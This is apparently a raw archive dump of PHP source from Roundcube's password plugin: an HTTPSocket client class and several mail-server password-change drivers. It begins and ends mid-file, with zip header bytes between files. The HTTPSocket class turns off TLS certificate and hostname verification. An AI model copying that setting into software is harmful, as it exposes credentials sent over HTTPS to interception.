 *   echo $Socket->get('http://user:pass@somesite.com/somedir/some.file?query=string&this=that');
 *
 * @author Phi1 'l0rdphi1' Stier <l0rdphi1@liquenox.net>
 * @package HTTPSocket
 * @version 3.0.2
 */
class HTTPSocket
{
    var $version = '3.0.2';

    // all vars are private except $error, $query_cache, and $doFollowLocationHeader

    var $method = 'GET';

    var $remote_host;
    var $remote_port;
    var $remote_uname;
    var $remote_passwd;

    var $result;
    var $result_header;
    var $result_body;
    var $result_status_code;

    var $lastTransferSpeed;
    var $bind_host;
    var $error       = [];
    var $warn        = [];
    var $query_cache = [];
    var $doFollowLocationHeader = true;
    var $redirectURL;
    var $max_redirects = 5;
    var $ssl_setting_message = 'DirectAdmin appears to be using SSL. Change your script to connect to ssl://';
    var $extra_headers = [];

    /**
     * Create server "connection".
     *
     */
    function connect($host, $port = '')
    {
        if (!is_numeric($port)) {
            $port = 2222;
        }

        $this->remote_host = $host;
        $this->remote_port = $port;
    }

    function bind($ip = '')
    {
        if ($ip == '') {
            $ip = $_SERVER['SERVER_ADDR'];
        }

        $this->bind_host = $ip;
    }

    /**
     * Change the method being used to communicate.
     *
     * @param string|null $method request method. supports GET, POST, and HEAD. default is GET
     */
    function set_method($method = 'GET')
    {
        $this->method = strtoupper($method);
    }

    /**
     * Specify a username and password.
     *
     * @param string|null $uname  username. default is null
     * @param string|null $passwd password. default is null
     */
    function set_login($uname = '', $passwd = '')
    {
        if (strlen($uname) > 0) {
            $this->remote_uname = $uname;
        }

        if (strlen($passwd) > 0) {
            $this->remote_passwd = $passwd;
        }
    }

    /**
     * Query the server
     *
     * @param string       $request containing properly formatted server API. See DA API docs and examples. Http:// URLs O.K. too.
     * @param string|array $content query to pass to url
     */
    function query($request, $content = '')
    {
        $this->error = $this->warn = [];
        $this->result_status_code  = null;

        $is_ssl = false;

        // is our request a http:// ... ?
        if (preg_match('!^http://!i',$request) || preg_match('!^https://!i',$request)) {
            $location = parse_url($request);
            if (preg_match('!^https://!i',$request)) {
                $this->connect('https://'.$location['host'],$location['port']);
            }
            else {
                $this->connect('http://'.$location['host'],$location['port']);
            }

            $this->set_login($location['user'], $location['pass']);

            $request = $location['path'];
            
            if ($content == '') {
                $content = $location['query'];
            }

            if (strlen($request) < 1) {
                $request = '/';
            }
        }

        if (preg_match('!^ssl://!i', $this->remote_host)) {
            $this->remote_host = 'https://'.substr($this->remote_host, 6);
        }

        if (preg_match('!^tcp://!i', $this->remote_host)) {
            $this->remote_host = 'http://'.substr($this->remote_host, 6);
        }

        if (preg_match('!^https://!i', $this->remote_host)) {
            $is_ssl = true;
        }

        $array_headers = [
            'Host'       => $this->remote_port == 80 ? $this->remote_host : "$this->remote_host:$this->remote_port",
            'Accept'     => '*/*',
            'Connection' => 'Close'
        ];

        foreach ($this->extra_headers as $key => $value) {
            $array_headers[$key] = $value;
        }

        $this->result = $this->result_header = $this->result_body = '';

        // was content sent as an array? if so, turn it into a string
        if (is_array($content)) {
            $pairs = [];

            foreach ($content as $key => $value) {
                $pairs[] = "$key=".urlencode($value);
            }

            $content = join('&',$pairs);
            unset($pairs);
        }

        $OK = true;

        if ($this->method == 'GET') {
            $request .= '?'.$content;
        }

        $ch = curl_init($this->remote_host.':'.$this->remote_port.$request);

        if ($is_ssl) {
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //1
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //2
            //curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2);
        }

        curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch, CURLOPT_USERAGENT, "HTTPSocket/$this->version");
        curl_setopt($ch, CURLOPT_FORBID_REUSE, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 100);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($ch, CURLOPT_HEADER, 1);

        curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 512);
        curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 120);

        // instance connection
        if ($this->bind_host) {
            curl_setopt($ch, CURLOPT_INTERFACE, $this->bind_host);
        }

        // if we have a username and password, add the header
        if (isset($this->remote_uname) && isset($this->remote_passwd)) {
            curl_setopt($ch, CURLOPT_USERPWD, $this->remote_uname.':'.$this->remote_passwd);
        }

        // for DA skins: if $this->remote_passwd is NULL, try to use the login key system
        if (isset($this->remote_uname) && $this->remote_passwd == NULL) {
            $array_headers['Cookie'] = "session={$_SERVER['SESSION_ID']}; key={$_SERVER['SESSION_KEY']}";
        }

        // if method is POST, add content length & type headers
        if ($this->method == 'POST') {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $content);

            //$array_headers['Content-type'] = 'application/x-www-form-urlencoded';
            $array_headers['Content-length'] = strlen($content);
        }

        curl_setopt($ch, CURLOPT_HTTPHEADER, $array_headers);

        if (!($this->result = curl_exec($ch))) {
            $this->error[] = curl_error($ch);
            $OK = false;
        }

        $header_size              = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $this->result_header      = substr($this->result, 0, $header_size);
        $this->result_body        = substr($this->result, $header_size);
        $this->result_status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $this->lastTransferSpeed  = curl_getinfo($ch, CURLINFO_SPEED_DOWNLOAD) / 1024;

        curl_close($ch);

        $this->query_cache[] = $this->remote_host.':'.$this->remote_port.$request;

        $headers = $this->fetch_header();

        // did we get the full file?
        if (!empty($headers['content-length']) && $headers['content-length'] != strlen($this->result_body)) {
            $this->result_status_code = 206;
        }

        // now, if we're being passed a location header, should we follow it?
        if ($this->doFollowLocationHeader) {
            //dont bother if we didn't even setup the script correctly
            if (isset($headers['x-use-https']) && $headers['x-use-https'] == 'yes') {
                die($this->ssl_setting_message);
            }

            if (isset($headers['location'])) {
                if ($this->max_redirects <= 0) {
                    die("Too many redirects on: ".$headers['location']);
                }

                $this->max_redirects--;
                $this->redirectURL = $headers['location'];
                $this->query($headers['location'], $content);
            }
        }
    }

    function getTransferSpeed()
    {
        return $this->lastTransferSpeed;
    }

    /**
     * The quick way to get a URL's content :)
     *
     * @param string $location URL
     * @param bool   $asArray  return as array? (like PHP's file() command)
     *
     * @return string result body
     */
    function get($location, $asArray = false)
    {
        $this->query($location);

        if ($this->get_status_code() == 200) {
            if ($asArray) {
                return preg_split("/\n/", $this->fetch_body());
            }

            return $this->fetch_body();
        }

        return false;
    }

    /**
     * Returns the last status code.
     * 200 = OK;
     * 403 = FORBIDDEN;
     * etc.
     *
     * @return int status code
     */
    function get_status_code()
    {
        return $this->result_status_code;
    }

    /**
     * Adds a header, sent with the next query.
     *
     * @param string $key   header name
     * @param string $value header value
     */
    function add_header($key, $value)
    {
        $this->extra_headers[$key] = $value;
    }

    /**
     * Clears any extra headers.
     *
     */
    function clear_headers()
    {
        $this->extra_headers = [];
    }

    /**
     * Return the result of a query.
     *
     * @return string result
     */
    function fetch_result()
    {
        return $this->result;
    }

    /**
     * Return the header of result (stuff before body).
     *
     * @param string $header (optional) header to return
     * @return array result header
     */
    function fetch_header($header = '')
    {
        $array_headers = preg_split("/\r\n/", $this->result_header);

        $array_return = [0 => $array_headers[0]];
        unset($array_headers[0]);

        foreach ($array_headers as $pair) {
            if ($pair == '' || $pair == "\r\n") continue;
            list($key,$value) = preg_split("/: /", $pair, 2);
            $array_return[strtolower($key)] = $value;
        }

        if ($header != '') {
            return $array_return[strtolower($header)];
        }

        return $array_return;
    }

    /**
     * Return the body of result (stuff after header).
     *
     * @return string result body
     */
    function fetch_body()
    {
        return $this->result_body;
    }

    /**
     * Return parsed body in array format.
     *
     * @return array result parsed
     */
    function fetch_parsed_body()
    {
        parse_str($this->result_body, $x);
        return $x;
    }

    /**
     * Set a specific message on how to change the SSL setting, in the event that it's not set correctly.
     */
    function set_ssl_setting_message($str)
    {
        $this->ssl_setting_message = $str;
    }
}
PKh�\���#plugins/password/drivers/dbmail.phpnu�[���<?php

/**
 * DBMail Password Driver
 *
 * Driver that adds functionality to change the users DBMail password.
 * The code is derived from the Squirrelmail "Change SASL Password" Plugin
 * by Galen Johnson.
 *
 * It only works with dbmail-users on the same host where Roundcube runs
 * and requires shell access and gcc in order to compile the binary.
 *
 * For installation instructions please read the README file.
 *
 * @version 1.0
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_dbmail_password
{
    function save($currpass, $newpass, $username)
    {
        $curdir   = RCUBE_PLUGINS_DIR . 'password/helpers';
        $username = escapeshellarg($username);
        $password = escapeshellarg($newpass);
        $args     = rcmail::get_instance()->config->get('password_dbmail_args', '');
        $command  = "$curdir/chgdbmailusers -c $username -w $password $args";

        exec($command, $output, $return_value);

        if ($return_value == 0) {
            return PASSWORD_SUCCESS;
        }

        rcube::raise_error([
                'code' => 600,
                'file' => __FILE__,
                'line' => __LINE__,
                'message' => "Password plugin: Unable to execute $curdir/chgdbmailusers"
            ], true, false
        );

        return PASSWORD_ERROR;
    }
}
PKh�\�;_

/plugins/password/drivers/dovecot_passwdfile.phpnu�[���<?php

/**
 * Dovecot passwdfile Password Driver
 *
 * Driver that adds functionality to change the passwords in dovecot v2 passwd-file files.
 * The code is derived from the Plugin examples by The Roundcube Dev Team
 *
 * On vanilla dovecot v2 environments, use the correct values for these config settings, too:
 *
 * $config['password_dovecot_passwdfile_path']: The path of your dovecot passwd-file '/path/to/filename'
 * $config['password_dovecotpw']: Full path and 'pw' command of doveadm binary - like '/usr/local/bin/doveadm pw'
 * $config['password_dovecotpw_method']: Dovecot hashing algo (http://wiki2.dovecot.org/Authentication/PasswordSchemes)
 * $config['password_dovecotpw_with_method']: True if you want the hashing algo as prefix in your passwd-file
 *
 * @version 1.1
 *
 * Copyright (C) 2017, hostNET Medien GmbH, www.hostnet.de
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_dovecot_passwdfile_password
{
    public function save($currpass, $newpass, $username)
    {
        $rcmail       = rcmail::get_instance();
        $mailuserfile = $rcmail->config->get('password_dovecot_passwdfile_path') ?: '/etc/mail/imap.passwd';

        $password = password::hash_password($newpass);
        $username = escapeshellcmd($username); // FIXME: Do we need this?
        $content  = '';

        // read the entire mail user file
        $fp = fopen($mailuserfile, 'r');

        if (empty($fp)) {
            rcube::raise_error([
                    'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Password plugin: Unable to read password file $mailuserfile."
                ],
                true, false
            );

            return PASSWORD_CONNECT_ERROR;
        }

        if (flock($fp, LOCK_EX)) {
            // Read the file and replace the user password
            while (($line = fgets($fp, 40960)) !== false) {
                if (strpos($line, "$username:") === 0) {
                    $pos  = strpos($line, ':', strlen("$username:") + 1);
                    $line = "$username:$password" . substr($line, $pos);
                }

                $content .= $line;
            }

            // Write back the entire file
            if (file_put_contents($mailuserfile, $content)) {
                flock($fp, LOCK_UN);
                fclose($fp);

                return PASSWORD_SUCCESS;
            }
        }

        fclose($fp);

        rcube::raise_error([
                'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                'message' => "Password plugin: Failed to save file $mailuserfile."
            ],
            true, false
        );

        return PASSWORD_ERROR;
    }
}
PKh�\���!plugins/password/drivers/sasl.phpnu�[���<?php

/**
 * SASL Password Driver
 *
 * Driver that adds functionality to change the users Cyrus/SASL password.
 * The code is derived from the Squirrelmail "Change SASL Password" Plugin
 * by Galen Johnson.
 *
 * It only works with saslpasswd2 on the same host where Roundcube runs
 * and requires shell access and gcc in order to compile the binary.
 *
 * For installation instructions please read the README file.
 *
 * @version 2.0
 * @author Thomas Bruederli
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_sasl_password
{
    function save($currpass, $newpass, $username)
    {
        $curdir   = RCUBE_PLUGINS_DIR . 'password/helpers';
        $username = escapeshellarg($username);
        $args     = rcmail::get_instance()->config->get('password_saslpasswd_args', '');

        if ($fh = popen("$curdir/chgsaslpasswd -p $args $username", 'w')) {
            fwrite($fh, $newpass."\n");
            $code = pclose($fh);

            if ($code == 0) {
                return PASSWORD_SUCCESS;
            }
        }

        rcube::raise_error([
                'code' => 600,
                'file' => __FILE__,
                'line' => __LINE__,
                'message' => "Password plugin: Unable to execute $curdir/chgsaslpasswd"
            ], true, false
        );

        return PASSWORD_ERROR;
    }
}
PKh�\O�����'plugins/password/drivers/pw_usermod.phpnu�[���<?php

/**
 * pw_usermod Driver
 *
 * Driver that adds functionality to change the systems user password via
 * the 'pw usermod' command.
 *
 * For installation instructions please read the README file.
 *
 * @version 2.0
 * @author Alex Cartwright <acartwright@mutinydesign.co.uk>
 * @author Adamson Huang <adomputer@gmail.com>
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_pw_usermod_password
{
    public function save($currpass, $newpass, $username)
    {
        $cmd = rcmail::get_instance()->config->get('password_pw_usermod_cmd', 'sudo /usr/sbin/pw usermod -h 0 -n');
        $cmd .= ' ' . escapeshellarg($username) . ' > /dev/null';

        $handle = popen($cmd, 'w');
        fwrite($handle, "$newpass\n");

        if (pclose($handle) == 0) {
            return PASSWORD_SUCCESS;
        }

        rcube::raise_error([
                'code' => 600,
                'file' => __FILE__,
                'line' => __LINE__,
                'message' => "Password plugin: Unable to execute $cmd"
            ], true, false
        );

        return PASSWORD_ERROR;
    }
}
PKh�\�S�
�
"plugins/password/drivers/hmail.phpnu�[���<?php

/**
 * hMailserver password driver
 *
 * @version 2.0
 * @author Roland 'rosali' Liebl <myroundcube@mail4us.net>
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_hmail_password
{
    public function save($curpass, $passwd, $username)
    {
        $rcmail = rcmail::get_instance();

        try {
            $remote = $rcmail->config->get('hmailserver_remote_dcom', false);
            if ($remote) {
                $obApp = new COM("hMailServer.Application", $rcmail->config->get('hmailserver_server'));
            }
            else {
                $obApp = new COM("hMailServer.Application");
            }
        }
        catch (Exception $e) {
            rcube::write_log('errors', "Plugin password (hmail driver): " . trim(strip_tags($e->getMessage())));
            rcube::write_log('errors', "Plugin password (hmail driver): This problem is often caused by DCOM permissions not being set.");

            return PASSWORD_ERROR;
        }

        if (strstr($username,'@')) {
            list(, $domain) = explode('@', $username);
        }
        else {
            $domain = $rcmail->config->get('username_domain',false);
            if (!$domain) {
                rcube::write_log('errors','Plugin password (hmail driver): $config[\'username_domain\'] is not defined.');
                return PASSWORD_ERROR;
            }
            $username = $username . "@" . $domain;
        }

        try {
            $obApp->Authenticate($username, $curpass);

            $obDomain  = $obApp->Domains->ItemByName($domain);
            $obAccount = $obDomain->Accounts->ItemByAddress($username);
            $obAccount->Password = $passwd;
            $obAccount->Save();

            return PASSWORD_SUCCESS;
        }
        catch (Exception $e) {
            rcube::write_log('errors', "Plugin password (hmail driver): " . trim(strip_tags($e->getMessage())));
            rcube::write_log('errors', "Plugin password (hmail driver): This problem is often caused by DCOM permissions not being set.");

            return PASSWORD_ERROR;
        }
    }
}
PKh�\c��W�
�
*plugins/password/drivers/domainfactory.phpnu�[���<?php

/**
 * domainFACTORY Password Driver
 *
 * Driver to change passwords with the hosting provider domainFACTORY.
 * http://www.df.eu/
 *
 * @version 2.1
 * @author Till Krüss <me@tillkruess.com>
 * @link http://tillkruess.com/projects/roundcube/
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_domainfactory_password
{
    function save($curpass, $passwd, $username)
    {
        if ($ch = curl_init()) {
            // initial login
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_URL        => 'https://ssl.df.eu/chmail.php',
                CURLOPT_POST       => true,
                CURLOPT_POSTFIELDS => http_build_query([
                    'login'  => $username,
                    'pwd'    => $curpass,
                    'action' => 'change'
                ])
            ]);

            if ($result = curl_exec($ch)) {
                // login successful, get token!
                $postfields = [
                    'pwd1'           => $passwd,
                    'pwd2'           => $passwd,
                    'action[update]' => 'Speichern'
                ];

                preg_match_all('~<input name="(.+?)" type="hidden" value="(.+?)">~i', $result, $fields);
                foreach ($fields[1] as $field_key => $field_name) {
                    $postfields[$field_name] = $fields[2][$field_key];
                }

                // change password
                $ch = curl_copy_handle($ch);
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postfields));
                if ($result = curl_exec($ch)) {
                    // has the password been changed?
                    if (strpos($result, 'Einstellungen erfolgreich') !== false) {
                        return PASSWORD_SUCCESS;
                    }

                    // show error message(s) if possible
                    if (strpos($result, '<div class="d-msg-text">') !== false) {
                        preg_match_all('#<div class="d-msg-text">(.*?)</div>#s', $result, $errors);
                        if (isset($errors[1])) {
                            $error_message = '';
                            foreach ($errors[1] as $error) {
                                $error_message .= trim(rcube_charset::convert($error, 'ISO-8859-15')).' ';
                            }
                            return ['code' => PASSWORD_ERROR, 'message' => $error_message];
                        }
                    }
                }
                else {
                    return PASSWORD_CONNECT_ERROR;
                }
            }
            else {
                return PASSWORD_CONNECT_ERROR;
            }
        }
        else {
            return PASSWORD_CONNECT_ERROR;
        }

        return PASSWORD_ERROR;
    }
}
PKh�\֞{��$plugins/password/drivers/modoboa.phpnu�[���<?php

/**
 * Modoboa Password Driver
 *
 * Payload is json string containing username, oldPassword and newPassword
 * Return value is a json string saying result: true if success.
 *
 * @version 1.0.1
 * @author stephane @actionweb.fr
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 *
 * The driver need modoboa core 1.10.6 or later 
 *
 * You need to define theses variables in plugin/password/config.inc.php
 *
 * $config['password_driver'] = 'modoboa'; // use modoboa as driver
 * $config['password_modoboa_api_token'] = ''; // put token number from Modoboa server
 * $config['password_minimum_length'] = 8; // select same number as in Modoboa server
 */

class rcube_modoboa_password
{
    function save($curpass, $passwd)
    {
        // Init config access
        $rcmail           = rcmail::get_instance();
        $ModoboaToken     = $rcmail->config->get('password_modoboa_api_token');
        $RoudCubeUsername = $_SESSION['username'];
        $IMAPhost         = $_SESSION['imap_host'];

        // Call GET to fetch values from modoboa server
        $curl = curl_init();

        curl_setopt_array($curl, [
            CURLOPT_URL            => "https://" . $IMAPhost . "/api/v1/accounts/?search=" . urlencode($RoudCubeUsername),
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING       => "",
            CURLOPT_MAXREDIRS      => 10,
            CURLOPT_TIMEOUT        => 30,
            CURLOPT_HTTP_VERSION   => CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST  => "GET",
            CURLOPT_HTTPHEADER     => [
                "Authorization: Token " . $ModoboaToken,
                "Cache-Control: no-cache",
                "Content-Type: application/json"
            ],
        ]);

        $response = curl_exec($curl);
        $err      = curl_error($curl);

        curl_close($curl);

        if ($err) {
            return PASSWORD_CONNECT_ERROR;
        }

        // Decode json string
        $decoded = json_decode($response);

        if (!is_array($decoded)) {
            return PASSWORD_CONNECT_ERROR;
        }

        // Get user ID (pk)
        $userid = $decoded[0]->pk;

        // Encode json with new password
        $ret['username'] = $decoded[0]->username;
        $ret['mailbox']  = $decoded[0]->mailbox;
        $ret['role']     = $decoded[0]->role;
        $ret['password'] = $passwd; // new password
        $encoded         = json_encode($ret);

        // Call HTTP API Modoboa
        $curl = curl_init();

        curl_setopt_array($curl, [
            CURLOPT_URL            => "https://" . $IMAPhost . "/api/v1/accounts/" . $userid . "/",
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING       => "",
            CURLOPT_MAXREDIRS      => 10,
            CURLOPT_TIMEOUT        => 30,
            CURLOPT_HTTP_VERSION   => CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST  => "PUT",
            CURLOPT_POSTFIELDS     => "" . $encoded . "",
            CURLOPT_HTTPHEADER     => [
                "Authorization: Token " . $ModoboaToken,
                "Cache-Control: no-cache",
                "Content-Type: application/json"
            ],
        ]);

        $response = curl_exec($curl);
        $err      = curl_error($curl);

        curl_close($curl);

        if ($err) {
            return PASSWORD_CONNECT_ERROR;
        }

        return PASSWORD_SUCCESS;
    }
}
PKh�\ζ}LMM plugins/password/drivers/pam.phpnu�[���<?php

/**
 * PAM Password Driver
 *
 * @version 2.0
 * @author Aleksander Machniak
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_pam_password
{
    function save($currpass, $newpass, $username)
    {
        $error = '';

        if (extension_loaded('pam') || extension_loaded('pam_auth')) {
            if (pam_auth($username, $currpass, $error, false)) {
                if (pam_chpass($username, $currpass, $newpass)) {
                    return PASSWORD_SUCCESS;
                }
            }
            else {
                rcube::raise_error([
                        'code' => 600,
                        'file' => __FILE__,
                        'line' => __LINE__,
                        'message' => "Password plugin: PAM authentication failed for user $username: $error"
                    ], true, false
                );
            }
        }
        else {
            rcube::raise_error([
                    'code' => 600,
                    'file' => __FILE__,
                    'line' => __LINE__,
                    'message' => "Password plugin: PECL-PAM module not loaded"
                ], true, false
            );
        }

        return PASSWORD_ERROR;
    }
}
PKh�\�����$plugins/password/drivers/httpapi.phpnu�[���<?php

/**
 * Roundcube password driver for generic HTTP APIs.
 *
 * This driver changes the e-mail password via any generic HTTP/HTTPS API.
 *
 * @author David Croft
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * Config variables:
 * $config['password_httpapi_url']         = 'https://passwordserver.example.org'; // required
 * $config['password_httpapi_method']      = 'POST'; // default
 * $config['password_httpapi_var_user']    = 'user'; // optional
 * $config['password_httpapi_var_curpass'] = 'curpass'; // optional
 * $config['password_httpapi_var_newpass'] = 'newpass'; // optional
 * $config['password_httpapi_expect']      = '/^ok$/i'; // optional
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_httpapi_password
{
    /**
     * This method is called from roundcube to change the password
     *
     * roundcube already validated the old password so we just need to change it at this point
     *
     * @param string $curpass  Current password
     * @param string $newpass  New password
     * @param string $username Login username
     *
     * @return int PASSWORD_SUCCESS|PASSWORD_ERROR|PASSWORD_CONNECT_ERROR
     */
    function save($curpass, $newpass, $username)
    {
        $rcmail = rcmail::get_instance();
        $client = password::get_http_client();

        // Get configuration with defaults
        $url         = $rcmail->config->get('password_httpapi_url');
        $method      = $rcmail->config->get('password_httpapi_method', 'POST');
        $var_user    = $rcmail->config->get('password_httpapi_var_user');
        $var_curpass = $rcmail->config->get('password_httpapi_var_curpass');
        $var_newpass = $rcmail->config->get('password_httpapi_var_newpass');
        $expect      = $rcmail->config->get('password_httpapi_expect');

        // Set the variables on the GET query string or POST vars
        $vars = [];

        if ($var_user) {
            $vars[$var_user] = $username;
        }

        if ($var_curpass) {
            $vars[$var_curpass] = $curpass;
        }

        if ($var_newpass) {
            $vars[$var_newpass] = $newpass;
        }

        $method = strtoupper($method);
        $params = [];

        if ($method == 'POST') {
            $params['form_params'] = $vars;
        }
        else if ($method == 'GET') {
            $params['query'] = $vars;
        }
        else {
            rcube::raise_error([
                    'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Password plugin: Invalid httpapi method",
                ],
                true, false
            );

            return PASSWORD_CONNECT_ERROR;
        }

        try {
            $response = $client->request($method, $url, $params);

            $response_code = $response->getStatusCode();
            $result        = $response->getBody();
        }
        catch (Exception $e) {
            rcube::raise_error([
                    'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Password plugin: " . $e->getMessage()
                ],
                true, false
            );

            return PASSWORD_CONNECT_ERROR;
        }

        // Non-2xx response codes mean the password change failed
        if ($response_code < 200 || $response_code > 299) {
            rcube::raise_error([
                    'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Password plugin: Unexpected response code {$response_code}: "
                        . substr($result, 0, 1024)
                ],
                true, false
            );

            return ($response_code == 404 || $response_code > 499) ? PASSWORD_CONNECT_ERROR : PASSWORD_ERROR;
        }

        // If configured, check the body of the response
        if ($expect && !preg_match($expect, $result)) {
            rcube::raise_error([
                    'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Password plugin: Unexpected response body: " . substr($result, 0, 1024)
                ],
                true, false
            );

            return PASSWORD_ERROR;
        }

        return PASSWORD_SUCCESS;
    }
}
PKh�\A�"plugins/password/drivers/xmail.phpnu�[���<?php
/**
 * XMail Password Driver
 *
 * Driver for XMail password
 *
 * @version 2.0
 * @author Helio Cavichiolo Jr <helio@hcsistemas.com.br>
 *
 * Setup xmail_host, xmail_user, xmail_pass and xmail_port into
 * config.inc.php of password plugin as follows:
 *
 * $config['xmail_host'] = 'localhost';
 * $config['xmail_user'] = 'YourXmailControlUser';
 * $config['xmail_pass'] = 'YourXmailControlPass';
 * $config['xmail_port'] = 6017;
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_xmail_password
{
    function save($currpass, $newpass)
    {
        $rcmail = rcmail::get_instance();
        list($user, $domain) = explode('@', $_SESSION['username']);

        $xmail = new XMail;

        $xmail->hostname = $rcmail->config->get('xmail_host');
        $xmail->username = $rcmail->config->get('xmail_user');
        $xmail->password = $rcmail->config->get('xmail_pass');
        $xmail->port     = $rcmail->config->get('xmail_port');

        if (!$xmail->connect()) {
            rcube::raise_error([
                    'code' => 600,
                    'file' => __FILE__,
                    'line' => __LINE__,
                    'message' => "Password plugin: Unable to connect to mail server"
                ], true, false
            );

